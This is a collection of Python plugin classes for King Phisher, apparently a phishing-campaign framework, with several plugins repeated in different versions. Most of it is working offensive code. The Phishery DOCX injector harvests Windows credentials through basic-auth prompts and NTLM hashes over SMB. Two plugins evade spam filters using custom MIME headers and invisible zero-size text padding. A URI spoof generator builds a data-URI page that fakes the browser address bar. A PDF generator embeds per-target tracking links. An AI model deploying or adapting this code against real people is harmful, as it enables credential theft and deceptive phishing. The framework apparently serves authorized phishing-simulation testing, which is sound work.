class Plugin(plugins.ClientPlugin): authors = ['Spencer McIntyre'] # the plugins author classifiers = ['Plugin :: Client' ] # the list of classifiers for categorization title = 'Hello World!' # the title of the plugin to be shown to users description = """ A 'hello world' plugin to serve as a basic template and demonstration. This plugin will display a message box when King Phisher exits. """ # a description of the plugin to be shown to users homepage = 'https://github.com/securestate/king-phisher-plugins' # an optional home page options = [ # specify options which can be configured through the GUI plugins.ClientOptionString( 'name', # the name of the option as it will appear in the configuration 'The name to which to say goodbye.', # the description of the option as shown to users default='Alice Liddle', # a default value for the option display_name='Your Name' # a name of the option as shown to users ), plugins.ClientOptionBoolean('validiction', 'Whether or not this plugin say good bye.', default=True, display_name='Say Good Bye'), plugins.ClientOptionInteger('some_number', 'An example number option.', default=1337, display_name='A Number'), plugins.ClientOptionPort('tcp_port', 'The TCP port to connect to.', default=80, display_name='Connection Port') ] req_min_py_version = '3.3.0' # (optional) specify the required minimum version of python req_min_version = '1.4.0' # (optional) specify the required minimum version of king phisher req_packages = { # (optional) specify a dictionary of required package names 'advancedhttpserver': has_ahs # set from within the exception handler when importing } req_platforms = ('Linux', 'Windows' ) # (optional) specify the supported platforms version = '1.0' # (optional) specify this plugin's version # this is the primary plugin entry point which is executed when the plugin is enabled def initialize(self): print('Hello World!') self.signal_connect('exit', self.signal_exit) # it is necessary to return True to indicate that the initialization was successful # this allows the plugin to check its options and return false to indicate a failure return True # this is a cleanup method to allow the plugin to close any open resources def finalize(self): print('Good Bye World!') # the plugin connects this handler to the applications 'exit' signal def signal_exit(self, app): # check the 'validiction' option in the configuration if not self.config['validiction']: return gui_utilities.show_dialog_info( "Good bye {0}!".format(self.config['name']), app.get_active_window())
class Plugin(getattr(plugins, 'ClientPluginMailerAttachment', plugins.ClientPlugin)): authors = ['Ryan Hanson', 'Spencer McIntyre'] title = 'Phishery DOCX URL Injector' description = """ Use Phishery to inject Word Document Template URLs into DOCX files. This can be used in conjunction with a server page that requires Basic Authentication to collect Windows credentials. Note that for HTTPS URLs, the King Phisher server needs to be configured with a proper, trusted SSL certificate for the user to be presented with the basic authentication prompt. Phishery homepage: https://github.com/ryhanson/phishery """ homepage = 'https://github.com/securestate/king-phisher-plugins' options = [ plugins.ClientOptionString( 'target_url', 'An optional target URL. The default is the phishing URL.', default='{{ url.webserver }}', display_name='Target URL' ) ] req_min_version = '1.9.0b5' version = '2.0.1' def initialize(self): mailer_tab = self.application.main_tabs['mailer'] self.text_insert = mailer_tab.tabs['send_messages'].text_insert self.signal_connect('send-precheck', self.signal_send_precheck, gobject=mailer_tab) return True def _get_target_url(self, target): target_url = self.config['target_url'].strip() if target_url: return self.render_template_string(target_url, target=target, description='target url') target_url = self.application.config['mailer.webserver_url'] if target is not None: target_url += '?id=' + target.uid return target_url def process_attachment_file(self, input_path, output_path, target=None): if not path_is_doc_file(input_path): return target_url = self._get_target_url(target) if target_url is None: self.logger.warning('failed to get the target url, can not inject into the docx file') return phishery_inject(input_path, target_url, output_file=output_path) self.logger.info('wrote the patched file to: ' + output_path + ('' if target is None else ' with uid: ' + target.uid)) def signal_send_precheck(self, _): input_path = self.application.config['mailer.attachment_file'] if not path_is_doc_file(input_path): self.text_insert('The attachment is not compatible with the phishery plugin.\n') return False target_url = self._get_target_url(None) if target_url is None: self.text_insert('The phishery target URL is invalid.\n') return False return True
class Plugin(plugins.ClientPlugin): authors = ['Spencer McIntyre'] classifiers = ['Plugin :: Client :: Email :: Spam Evasion'] title = 'Custom Message MIME Headers' description = """ Add custom MIME headers to messages that are sent. This can, for example be used to add a Sender and / or a Return-Path header to outgoing messages. Headers are rendered as template strings and can use variables that are valid in messages. """ homepage = 'https://github.com/securestate/king-phisher-plugins' options = [ plugins.ClientOptionString( 'headers', 'The MIME headers to add to each\nof the messages, one per line.', display_name='MIME Headers', **({'multiline': True} if api_compatible else {}) ) ] req_min_version = _min_version version = '1.0.1' _headers_split_regex = re.compile('^(?P<header>[\w-]+):\s*(?P<value>.+)?$') def initialize(self): mailer_tab = self.application.main_tabs['mailer'] self.signal_connect('message-create', self.signal_message_create, gobject=mailer_tab) self.signal_connect('send-precheck', self.signal_send_precheck, gobject=mailer_tab) return True def get_headers(self, target=None): headers = self.config.get('headers').split('\n') for header_line in headers: header_line = header_line.strip() if not header_line: continue rendered_header_line = self.render_template_string(header_line, target=target, description='header line', log_to_mailer=False) if rendered_header_line is None: raise MimeHeaderParseError('failed to render', header_line) match = self._headers_split_regex.match(rendered_header_line) if match is None: raise MimeHeaderParseError('failed to parse', rendered_header_line) yield match.group('header'), match.group('value') def signal_message_create(self, mailer_tab, target, message): for header, value in self.get_headers(target): message[header] = value def signal_send_precheck(self, _): try: headers = tuple(self.get_headers()) except MimeHeaderParseError as error: mailer_tab = self.application.main_tabs['mailer'] text_insert = mailer_tab.tabs['send_messages'].text_insert text_insert("Custom MIME header error ({0}): {1}\n".format(error.message, error.header_line)) return False return True
class Plugin(plugins.ClientPlugin): authors = ['Spencer McIntyre'] title = 'Clockwork SMS' description = """ Send SMS messages using the Clockwork SMS API's email gateway. While enabled, this plugin will automatically update phone numbers into email addresses for sending using the service. """ homepage = 'https://github.com/securestate/king-phisher-plugins' options = [ plugins.ClientOptionString('api_key', 'Clockwork API Key', display_name='Clockwork SMS API Key') ] req_min_version = '1.10.0b3' version = '1.0.1' _sms_number_regex = re.compile(r'^[0-9]{10,12}') def initialize(self): mailer_tab = self.application.main_tabs['mailer'] self.signal_connect('send-precheck', self.signal_send_precheck, gobject=mailer_tab) self.signal_connect('target-create', self.signal_target_create, gobject=mailer_tab) return True def _get_balance(self): api_key = self.config['api_key'] try: resp = requests.get( 'https://api.clockworksms.com/http/balance?key=' + api_key) except requests.exceptions.RequestException: self.logger.warning('failed to check the clockwork sms balance', exc_info=True) return None resp = resp.text.strip() message, details = resp.split(':', 1) details = details.lstrip() return message, details def signal_send_precheck(self, mailer_tab): api_key = self.config['api_key'] text_insert = mailer_tab.tabs['send_messages'].text_insert if not api_key: text_insert('Invalid Clockwork SMS API key.\n') return False resp = self._get_balance() if resp is None: text_insert('Failed to check the Clockwork SMS API key.\n') return False message, details = resp if message.lower().startswith('error'): self.logger.warning('received ' + message + ' (' + details + ') from clockwork api') text_insert("Received {0}: ({1}) from Clockwork SMS API.\n".format( message, details)) return False if message.lower() != 'balance': self.logger.warning('received unknown response from clockwork api') text_insert( 'Received an unknown response from the Clockwork SMS API.\n') return False text_insert('Current Clockwork SMS API balance: ' + details + '\n') return True def signal_target_create(self, mailer_tab, target): if self._sms_number_regex.match(target.email_address) is None: return target.email_address = target.email_address + '@' + self.config[ 'api_key'] + '.clockworksms.com'
class Plugin(plugins.ClientPlugin): authors = ['Jeremy Schoeneman'] title = 'Sample Set Generator' classifiers = ['Plugin :: Client :: Tool'] description = """ Brings in a master list and generates a sample set from said list. """ homepage = 'https://github.com/securestate/king-phisher-plugins' options = [ plugins.ClientOptionString('master_csv', 'Master list of targets to sample', display_name='Master CSV File'), plugins.ClientOptionString('sample_file', 'CSV file to write the sample set to', display_name='Sample CSV File', default='~/sampled.csv'), plugins.ClientOptionInteger( 'sample_size', 'How many targets to sample', display_name='Sample Size', ) ] version = '1.0' def initialize(self): self.add_menu_item('Tools > Create Sample Set', self.sample_setup) return True def sample_setup(self, _): self.logger.info('sample_setup reached') if not self.config['master_csv']: gui_utilities.show_dialog_error( 'Missing Option', self.application.get_active_window(), 'Please configure the "Master CSV File" option.') return if not self.config['sample_file']: gui_utilities.show_dialog_error( 'Missing Option', self.application.get_active_window(), 'Please configure the "Sample CSV File" option.') return if not self.config['sample_size']: gui_utilities.show_dialog_error( 'Missing Option', self.application.get_active_window(), 'Please configure the "Sample Size" option.') return self.logger.info('Config passed') outfile = self.expand_path(self.config['sample_file']) infile = self.expand_path(self.config['master_csv']) try: # Reads line locations into memory. Takes less memory than reading the whole file at once s = [0] linelocs = [ s.append(s[0] + len(n)) or s.pop(0) for n in open(self.config['master_csv']) ] # Pulls the random samples based off the line locations and random with open(self.config['master_csv']) as f: file_len = sum(1 for l in f) chosen = sorted( random.sample(linelocs, self.config['sample_size'])) sample_set = [] for offset in chosen: f.seek(offset) sample_set.append(f.readline().strip('\n')) random.shuffle(sample_set) f.close() except IOError as e: self.logger.error('outputting file error', exc_info=True) try: # Writes to file with open(outfile, 'w', newline="\n") as of: for sample in sample_set: of.write(sample + '\n') of.close() self.logger.info('Sample set exported successfully') except IOError as e: self.logger.error('outputting file error', exc_info=True) return def expand_path(self, output_file, *args, **kwargs): expanded_path = _expand_path(output_file, *args, **kwargs) try: expanded_path = mailer.render_message_template( expanded_path, self.application.config) except jinja2.exceptions.TemplateSyntaxError as error: self.logger.error( "jinja2 syntax error ({0}) in directory: {1}".format( error.message, output_file)) gui_utilities.show_dialog_error( 'Error', self.application.get_active_window(), 'Error creating the CSV file.') return None except ValueError as error: self.logger.error("value error ({0}) in directory: {1}".format( error, output_file)) gui_utilities.show_dialog_error( 'Error', self.application.get_active_window(), 'Error creating the CSV file.') return None return expanded_path
class Plugin( getattr(plugins, 'ClientPluginMailerAttachment', plugins.ClientPlugin)): authors = ['Ryan Hanson', 'Spencer McIntyre', 'Erik Daguerre'] classifiers = ['Plugin :: Client :: Email :: Attachment', 'Script :: CLI'] title = 'Phishery DOCX URL Injector' description = """ Inject Word Document Template URLs into DOCX files. The Phishery technique is used to place multiple document template URLs into the word document (one per-line from the plugin settings). """ homepage = 'https://github.com/securestate/king-phisher-plugins' options = [ plugins.ClientOptionString( 'target_url', 'An optional target URLs. The default is the phishing URLs.', default='{{ url.webserver }}', display_name='Target URLs', **({ 'multiline': True } if api_compatible else {})), plugins.ClientOptionBoolean( 'add_landing_pages', 'Add all document URLs as landing pages to track visits.', default=True, display_name='Add Landing Pages') ] reference_urls = ['https://github.com/ryhanson/phishery'] req_min_version = min_version version = '2.2.0' def initialize(self): mailer_tab = self.application.main_tabs['mailer'] self.text_insert = mailer_tab.tabs['send_messages'].text_insert self.signal_connect('send-precheck', self.signal_send_precheck, gobject=mailer_tab) return True def _get_target_url(self, target): target_url = self.config['target_url'].strip() if target_url: return self.render_template_string(target_url, target=target, description='target url') target_url = self.application.config['mailer.webserver_url'] if target is not None: target_url += '?id=' + target.uid return target_url def process_attachment_file(self, input_path, output_path, target=None): if not path_is_doc_file(input_path): return target_url = self._get_target_url(target) if target_url is None: self.logger.warning( 'failed to get the target url, can not inject into the docx file' ) return phishery_inject(input_path, target_url, output_file=output_path) self.logger.info('wrote the patched file to: ' + output_path + ('' if target is None else ' with uid: ' + target.uid)) def signal_send_precheck(self, _): input_path = self.application.config['mailer.attachment_file'] if not path_is_doc_file(input_path): self.text_insert( 'The attachment is not compatible with the phishery plugin.\n') return False target_url = self._get_target_url(None) if target_url is None: self.text_insert('The phishery target URL is invalid.\n') return False if not self.config['add_landing_pages']: return True document_urls = target_url.split() for document_url in document_urls: parsed_url = urllib.parse.urlparse(document_url) hostname = parsed_url.netloc landing_page = parsed_url.path landing_page.lstrip('/') self.application.rpc('campaign/landing_page/new', self.application.config['campaign_id'], hostname, landing_page) return True
class Plugin(plugins.ClientPlugin): authors = ['Spencer McIntyre', 'Mike Stringer'] classifiers = ['Plugin :: Client :: Email :: Spam Evasion'] title = 'Message Padding' description = """ Add and modify custom HTML messages from a file to reduce Spam Assassin scores. This plugin interacts with the message content to append a long series of randomly generated sentences to meet the ideal image-text ratio. """ homepage = 'https://github.com/securestate/king-phisher-plugins' options = [ plugins.ClientOptionString( 'corpus', description='Text file containing text to generate dynamic padding', default=os.path.join(PLUGIN_PATH, 'corpus.txt'), display_name='Corpus File'), plugins.ClientOptionBoolean( 'dynamic_padding', description= 'Sets whether dynamically generated or static padding is appended to the messaged', default=True) ] req_min_version = '1.10.0' version = '1.0' req_packages = {'markovify': has_markovify} def initialize(self): mailer_tab = self.application.main_tabs['mailer'] self.signal_connect('message-create', self.signal_message_create, gobject=mailer_tab) if os.path.isfile(os.path.realpath(self.config['corpus'])): self.corpus = os.path.realpath(self.config['corpus']) else: self.corpus = None self.logger.debug('corpus file: ' + repr(self.corpus)) if self.corpus: self.dynamic = self.config['dynamic_padding'] else: if self.config['dynamic_padding']: self.logger.warning( 'the corpus file is unavailable, ignoring the dynamic padding setting' ) self.dynamic = False return True def signal_message_create(self, mailer_tab, target, message): for part in message.walk(): if not part.get_content_type().startswith('text/html'): continue payload_string = part.payload_string tag = '</html>' if tag not in payload_string: self.logger.warning('can not find ' + tag + ' tag to anchor the message padding') continue part.payload_string = payload_string.replace( tag, self.make_padding() + tag) def make_padding(self): if self.dynamic: f = open(self.corpus, 'r') text = markovify.Text(f) self.logger.info('generating dynamic padding from corpus') pad = '<p style="font-size: 0px">' for i in range(1, 50): temp = text.make_sentence() if temp is not None: pad += ' ' + temp if i % 5 == 0: pad += ' </br>' else: pad += ' </br>' pad += ' </p>' self.logger.info('dynamic padding generated successfully') f.close() else: self.logger.warning('message created using static padding') pad = STATIC_PADDING return pad
class Plugin( getattr(plugins, 'ClientPluginMailerAttachment', plugins.ClientPlugin)): authors = ['Ryan Hanson', 'Spencer McIntyre', 'Erik Daguerre'] classifiers = ['Plugin :: Client :: Email :: Attachment', 'Script :: CLI'] title = 'Phishery DOCX URL Injector' description = """ Inject Word Document Template URLs into DOCX files. The Phishery technique is used to place multiple document template URLs into the word document (one per line from the plugin settings).\n\n * HTTP URL\n\n The Jinja variable {{ url.webserver }} can be used for an HTTP URL to track when documents are opened.\n Note that to only track opened documents, DO NOT put a URL link into the phishing email to the landing page. This will ensure that visits are only registered for instance where the document is opened.\n\n * HTTPS URL\n\n The Jinja variable {{ url.webserver }} can be used for an HTTPS landing page that requires basic authentication.\n Note that for HTTPS URLs, the King Phisher server needs to be configured with a proper, trusted SSL certificate for the user to be presented with the basic authentication prompt.\n\n * FILE URL\n\n Utilizing the file://yourtargetserver/somepath URL format will capture SMB credentials.\n Note that King Phisher does not support SMB, and utilization of SMB requires that a separate capture/sniffer application such as Metasploit's auxiliary/server/capture/smb module will have to be used to capture NTLM hashes. The plugin and King Phisher will only support injecting the URL path into the document. """ homepage = 'https://github.com/securestate/king-phisher-plugins' options = [ plugins.ClientOptionString( 'target_url', 'An optional target URLs. The default is the phishing URLs.', default='{{ url.webserver }}', display_name='Target URLs', **({ 'multiline': True } if api_compatible else {})), plugins.ClientOptionBoolean( 'add_landing_pages', 'Add all document URLs as landing pages to track visits.', default=True, display_name='Add Landing Pages') ] reference_urls = ['https://github.com/ryhanson/phishery'] req_min_version = min_version version = '2.1.0' def initialize(self): mailer_tab = self.application.main_tabs['mailer'] self.text_insert = mailer_tab.tabs['send_messages'].text_insert self.signal_connect('send-precheck', self.signal_send_precheck, gobject=mailer_tab) return True def _get_target_url(self, target): target_url = self.config['target_url'].strip() if target_url: return self.render_template_string(target_url, target=target, description='target url') target_url = self.application.config['mailer.webserver_url'] if target is not None: target_url += '?id=' + target.uid return target_url def process_attachment_file(self, input_path, output_path, target=None): if not path_is_doc_file(input_path): return target_url = self._get_target_url(target) if target_url is None: self.logger.warning( 'failed to get the target url, can not inject into the docx file' ) return phishery_inject(input_path, target_url, output_file=output_path) self.logger.info('wrote the patched file to: ' + output_path + ('' if target is None else ' with uid: ' + target.uid)) def signal_send_precheck(self, _): input_path = self.application.config['mailer.attachment_file'] if not path_is_doc_file(input_path): self.text_insert( 'The attachment is not compatible with the phishery plugin.\n') return False target_url = self._get_target_url(None) if target_url is None: self.text_insert('The phishery target URL is invalid.\n') return False if not self.config['add_landing_pages']: return True document_urls = target_url.split() for document_url in document_urls: parsed_url = urllib.parse.urlparse(document_url) hostname = parsed_url.netloc landing_page = parsed_url.path landing_page.lstrip('/') self.application.rpc('campaign/landing_page/new', self.application.config['campaign_id'], hostname, landing_page) return True
class Plugin( getattr(plugins, 'ClientPluginMailerAttachment', plugins.ClientPlugin)): authors = ['Jeremy Schoeneman'] classifiers = ['Plugin :: Client :: Email :: Attachment'] title = 'Generate PDF' description = """ Generates a PDF file with a link which includes the campaign URL with the individual message_id required to track individual visits to a website. Visit https://github.com/y4utj4/pdf_generator for example template files to use with this plugin. """ homepage = 'https://github.com/securestate/king-phisher-plugins' options = [ plugins.ClientOptionPath('logo', 'Image to include into the pdf', display_name='Logo / Inline Image', path_type='file-open'), plugins.ClientOptionString('link_text', 'Text for inserted link', default='Click here to accept', display_name='Link Text') ] req_min_version = '1.8.0' req_packages = {'reportlab': has_reportlab} version = '1.1' def initialize(self): mailer_tab = self.application.main_tabs['mailer'] self.add_menu_item('Tools > Create PDF Preview', self.make_preview) return True def make_preview(self, _): input_path = self.application.config['mailer.attachment_file'] if not os.path.isfile(input_path) and os.access(input_path, os.R_OK): gui_utilities.show_dialog_error( 'PDF Build Error', self.application.get_active_window(), 'An invalid attachment file is specified.') return dialog = extras.FileChooserDialog('Save Generated PDF File', self.application.get_active_window()) response = dialog.run_quick_save('preview.pdf') dialog.destroy() if response is None: return output_path = response['target_path'] if not self.process_attachment_file(input_path, output_path): gui_utilities.show_dialog_error( 'PDF Build Error', self.application.get_active_window(), 'Failed to create the PDF file.') return gui_utilities.show_dialog_info('PDF Created', self.application.get_active_window(), 'Successfully created the PDF file.') def process_attachment_file(self, input_path, output_path, target=None): output_path, _ = os.path.splitext(output_path) output_path += '.pdf' pdf_file = platypus.SimpleDocTemplate(output_path, pagesize=letter, rightMargin=72, leftMargin=72, topMargin=72, bottomMargin=18) url = self.application.config['mailer.webserver_url'] if target is not None: url += '?uid=' + target.uid try: pdf_template = self.get_template(input_path, url) pdf_file.multiBuild(pdf_template) except Exception as err: self.logger.error('failed to build the pdf document', exc_info=True) return self.logger.info('wrote pdf file to: ' + output_path + ('' if target is None else ' with uid: ' + target.uid)) return output_path def get_template(self, template_file, url): formatted_time = time.ctime() company = self.application.config['mailer.company_name'] sender = self.application.config['mailer.source_email_alias'] story = [] click_me = saxutils.escape(self.config['link_text']) link = '<font color=blue><link href="' + url + '">' + click_me + '</link></font>' logo_path = self.config['logo'] if logo_path: img = platypus.Image(logo_path, 2 * inch, inch) story.append(img) style_sheet = styles.getSampleStyleSheet() style_sheet.add( styles.ParagraphStyle(name='Justify', alignment=TA_JUSTIFY)) ptext = '<font size=10>' + formatted_time + '</font>' story.append(platypus.Spacer(1, 12)) story.append(platypus.Paragraph(ptext, style_sheet['Normal'])) story.append(platypus.Spacer(1, 12)) with open(template_file, 'r') as file_h: for line in file_h: story.append(platypus.Paragraph(line, style_sheet['Normal'])) story.append(platypus.Spacer(1, 8)) story.append(platypus.Paragraph(link, style_sheet['Justify'])) story.append(platypus.Spacer(1, 12)) ptext = '<font size=10>Sincerely,</font>' story.append(platypus.Paragraph(ptext, style_sheet['Normal'])) story.append(platypus.Spacer(1, 12)) ptext = '<font size=10>' + sender + '</font>' story.append(platypus.Paragraph(ptext, style_sheet['Normal'])) story.append(platypus.Spacer(1, 12)) ptext = '<font size=10>' + company + '</font>' story.append(platypus.Paragraph(ptext, style_sheet['Normal'])) return story
class Plugin(plugins.ClientPlugin): authors = ['Jeremy Schoeneman'] title = 'Upload KPM' description = """ Saves a KPM file to the King Phisher server when sending messages. The user must have write permissions to the specified directories. Both the "Local Directory" and "Remote Directory" options can use the variables that are available for use in message templates. """ homepage = 'https://github.com/securestate/king-phisher-plugins' options = [ plugins.ClientOptionString( 'local_directory', 'Local directory to save the KPM file to', default= '$HOME/{{ campaign.name }}_{{ time.local | strftime(\'%Y-%m-%d_%H:%M\') }}.kpm', display_name='Local Directory'), plugins.ClientOptionString( 'remote_directory', 'Directory on the server to upload the KPM file to', default= '/usr/share/{{ campaign.name }}_{{ time.local | strftime(\'%Y-%m-%d_%H:%M\') }}.kpm', display_name='Remote Directory') ] req_min_version = '1.6.0b3' version = '1.2' def initialize(self): mailer_tab = self.application.main_tabs['mailer'] self.text_insert = mailer_tab.tabs['send_messages'].text_insert self.signal_connect('send-precheck', self.signal_save_kpm, gobject=mailer_tab) return True def signal_save_kpm(self, mailer_tab): if not any( (self.config['local_directory'], self.config['remote_directory'])): self.logger.debug( 'skipping exporting kpm archive due to no directories being specified' ) return True fd, temp_kpm_path = tempfile.mkstemp(suffix='.kpm') os.close(fd) self.logger.debug('writing temporary kpm archive file to: ' + temp_kpm_path) if not mailer_tab.export_message_data(path=temp_kpm_path): self.logger.error('failed to export the temporary kpm file') self.text_insert('Failed to export the KPM file\n') return False result = True if self.config['local_directory'] and not self._save_local_kpm( temp_kpm_path): result = False if self.config['remote_directory'] and not self._save_remote_kpm( temp_kpm_path): result = False os.remove(temp_kpm_path) return result def _expand_path(self, path, *args, **kwargs): expanded_path = _expand_path(path, *args, **kwargs) try: expanded_path = mailer.render_message_template( expanded_path, self.application.config) except jinja2.exceptions.TemplateSyntaxError as error: self.logger.error( "jinja2 syntax error ({0}) in directory: {1}".format( error.message, path)) self.text_insert( "Jinja2 syntax error ({0}) in directory: {1}\n".format( error.message, path)) return None except ValueError as error: self.logger.error("value error ({0}) in directory: {1}".format( error, path)) self.text_insert("Value error ({0}) in directory: {1}\n".format( error, path)) return None return expanded_path def _save_local_kpm(self, local_kpm): target_kpm = self._expand_path(self.config['local_directory']) if target_kpm is None: return False try: shutil.copyfile(local_kpm, target_kpm) except Exception: self.logger.error('failed to save the kpm archive file to: ' + target_kpm) self.text_insert('Failed to save the KPM archive file to: ' + target_kpm + '\n') return False self.logger.info('kpm archive successfully saved to: ' + target_kpm) return True def _save_remote_kpm(self, local_kpm): target_kpm = self._expand_path(self.config['remote_directory'], pathmod=posixpath) if target_kpm is None: return False connection = self.application._ssh_forwarder if connection is None: self.logger.info( 'skipping uploading kpm archive due to the absence of an ssh connection' ) return True sftp = self.application._ssh_forwarder.client.open_sftp() try: sftp.put(local_kpm, target_kpm) except Exception: self.logger.error('failed to upload the kpm archive file to: ' + target_kpm) self.text_insert('Failed to upload the KPM archive file to: ' + target_kpm + '\n') return False self.logger.info('kpm archive successfully uploaded to: ' + target_kpm) return True
class Plugin(plugins.ClientPlugin): authors = ['Jeremy Schoeneman'] title = 'Generate PDF' description = """ Generates a PDF file with a link which includes the campaign URL with the individual message_id required to track individual visits to a website. Visit https://github.com/y4utj4/pdf_generator for example template files to use with this plugin. """ homepage = 'https://github.com/securestate/king-phisher-plugins' options = [ plugins.ClientOptionPath('output_pdf', 'pdf being generated', default='~/Attachment1.pdf', display_name='* Output PDF File', path_type='file-save'), plugins.ClientOptionPath('template_file', 'Template file to read from', default='~/template.txt', display_name='* Template File', path_type='file-open'), plugins.ClientOptionPath('logo', 'Image to include into the pdf', display_name='Logo / Inline Image', path_type='file-open'), plugins.ClientOptionString('link_text', 'Text for inserted link', default='Click here to accept', display_name='Link Text') ] req_min_version = '1.7.0b1' req_packages = {'reportlab': has_reportlab} def initialize(self): mailer_tab = self.application.main_tabs['mailer'] self.text_insert = mailer_tab.tabs['send_messages'].text_insert self.add_menu_item('Tools > Create PDF Preview', self.make_preview) self.signal_connect('send-precheck', self.signal_send_precheck, gobject=mailer_tab) self.signal_connect('send-target', self.signal_send_target, gobject=mailer_tab) self.signal_connect('send-finished', self.signal_send_finished, gobject=mailer_tab) return True def attach_pdf(self, outfile): self.application.config['mailer.attachment_file'] = outfile def missing_options(self): # return true if a required option is missing or otherwise invalid if not all((self.config['template_file'], self.config['output_pdf'], self.config['link_text'])): self.logger.warning( 'options required to generate a pdf are missing') gui_utilities.show_dialog_error( 'Configuration Error', self.application.get_active_window(), 'One or more of the options required to generate a PDF file are invalid.' ) return True template_file = self.config['template_file'] if not os.access(template_file, os.R_OK): self.logger.warning('can not access pdf template file: ' + template_file) gui_utilities.show_dialog_error( 'Configuration Error', self.application.get_active_window(), 'Can not access the PDF template file.') return True return False def make_preview(self, _): if self.missing_options(): return False if not self.build_pdf(): gui_utilities.show_dialog_info( 'PDF Build Error', self.application.get_active_window(), 'Failed to create the PDF file.') return gui_utilities.show_dialog_info('PDF Created', self.application.get_active_window(), 'Successfully created the PDF file.') def build_pdf(self, target=None): output_pdf = self.config['output_pdf'] pdf_file = platypus.SimpleDocTemplate(output_pdf, pagesize=letter, rightMargin=72, leftMargin=72, topMargin=72, bottomMargin=18) url = self.application.config['mailer.webserver_url'] if target is not None: url += '?uid=' + target.uid pdf_template = self.get_template(url) try: pdf_file.multiBuild(pdf_template) except Exception as err: self.logger.error('failed to build the pdf document', exc_info=True) return False self.logger.info('wrote pdf file to: ' + output_pdf + ('' if target is None else ' with uid: ' + target.uid)) return True def get_template(self, url): formatted_time = time.ctime() company = self.application.config['mailer.company_name'] sender = self.application.config['mailer.source_email_alias'] template_file = self.config['template_file'] story = [] click_me = saxutils.escape(self.config['link_text']) link = '<font color=blue><link href="' + url + '">' + click_me + '</link></font>' logo_path = self.config['logo'] if logo_path: img = platypus.Image(logo_path, 2 * inch, inch) story.append(img) style_sheet = styles.getSampleStyleSheet() style_sheet.add( styles.ParagraphStyle(name='Justify', alignment=TA_JUSTIFY)) ptext = '<font size=10>' + formatted_time + '</font>' story.append(platypus.Spacer(1, 12)) story.append(platypus.Paragraph(ptext, style_sheet['Normal'])) story.append(platypus.Spacer(1, 12)) with open(template_file, 'r') as file_h: for line in file_h: story.append(platypus.Paragraph(line, style_sheet['Normal'])) story.append(platypus.Spacer(1, 8)) story.append(platypus.Paragraph(link, style_sheet['Justify'])) story.append(platypus.Spacer(1, 12)) ptext = '<font size=10>Sincerely,</font>' story.append(platypus.Paragraph(ptext, style_sheet['Normal'])) story.append(platypus.Spacer(1, 12)) ptext = '<font size=10>' + sender + '</font>' story.append(platypus.Paragraph(ptext, style_sheet['Normal'])) story.append(platypus.Spacer(1, 12)) ptext = '<font size=10>' + company + '</font>' story.append(platypus.Paragraph(ptext, style_sheet['Normal'])) return story def signal_send_precheck(self, _): if self.missing_options(): self.text_insert( 'One or more of the options required to generate a PDF file are invalid.\n' ) return False return True def signal_send_target(self, _, target): if not self.build_pdf(target): raise RuntimeError('failed to build the target\'s pdf file') self.attach_pdf(self.config['output_pdf']) def signal_send_finished(self, _): output_pdf = self.config['output_pdf'] if not os.access(output_pdf, os.W_OK): self.logger.error('no pdf file found at: ' + output_pdf) return self.logger.info('deleting pdf file: ' + output_pdf) os.remove(output_pdf) self.application.config['mailer.attachment_file'] = None
class Plugin(plugins.ClientPlugin): authors = ['Jeremy Schoeneman'] classifiers = ['Plugin :: Client :: Tool'] title = 'URI Spoof Generator' description = """ Exports a redirect page which allows URI spoofing in the address bar of the target's browser. """ homepage = 'https://github.com/securestate/king-phisher-plugins' options = [ plugins.ClientOptionString( 'redir_url', 'URL to redirect to', display_name='Redirect URL' ), plugins.ClientOptionString( 'spoofed_uri', 'URI to spoof from', display_name='Spoofed URI' ), plugins.ClientOptionString( 'output_html_file', 'HTML file to output to', display_name='Output HTML File', default='~/redir.html' ) ] version = '1.1' def initialize(self): self.add_menu_item('Tools > Create Data URI Phish', self.make_page) return True def make_page(self, _): if not self.config['redir_url']: gui_utilities.show_dialog_error( 'Missing Option', self.application.get_active_window(), 'Please configure the "Redirect URL" option.' ) return if not self.config['spoofed_uri']: gui_utilities.show_dialog_error( 'Missing Option', self.application.get_active_window(), 'Please configure the "Spoofed URI" option.' ) return if not self.config['output_html_file']: gui_utilities.show_dialog_error( 'Missing Option', self.application.get_active_window(), 'Please configure the "Output HTML File" option.' ) return outfile = self.expand_path(self.config['output_html_file']) try: with open (outfile, 'w') as file_h: file_h.write(self.build_html()) self.logger.info('html file exported successfully') file_h.close() except IOError as e: self.logger.error('outputting file error', e) return def build_html(self): page = '<html>' page += ' <script>' page += ' window.location.href = decodeURIComponent("'+ self.escape_url(self.config['redir_url'], self.config['spoofed_uri']) + '")' page += ' </script>' page += '</html>' return page def escape_url(self, url, spoofed_url): full_url = 'data:text/html,' + spoofed_url full_url += ' ' * 653 full_url += '<iframe width=\"100%\" height=\"100%\" src=\"' + url + '?id={{ client.message_id }}\"></iframe>' full_url += '<style>body{color:#fff; overflow:hidden;margin:-10px 0px 0px 0px; background-color: #fff;} iframe { border:none; outline:none;}</style>")' return '%' + '%'.join([ "%x" % ord(x) for x in full_url]).strip() def expand_path(self, output_file, *args, **kwargs): expanded_path = _expand_path(output_file, *args, **kwargs) try: expanded_path = mailer.render_message_template(expanded_path, self.application.config) except jinja2.exceptions.TemplateSyntaxError as error: self.logger.error("jinja2 syntax error ({0}) in directory: {1}".format(error.message, output_file)) gui_utilities.show_dialog_error('Error', self.application.get_active_window(), 'Error creating the HTML file.') return None except ValueError as error: self.logger.error("value error ({0}) in directory: {1}".format(error, output_file)) gui_utilities.show_dialog_error('Error', self.application.get_active_window(), 'Error creating the HTML file.') return None return expanded_path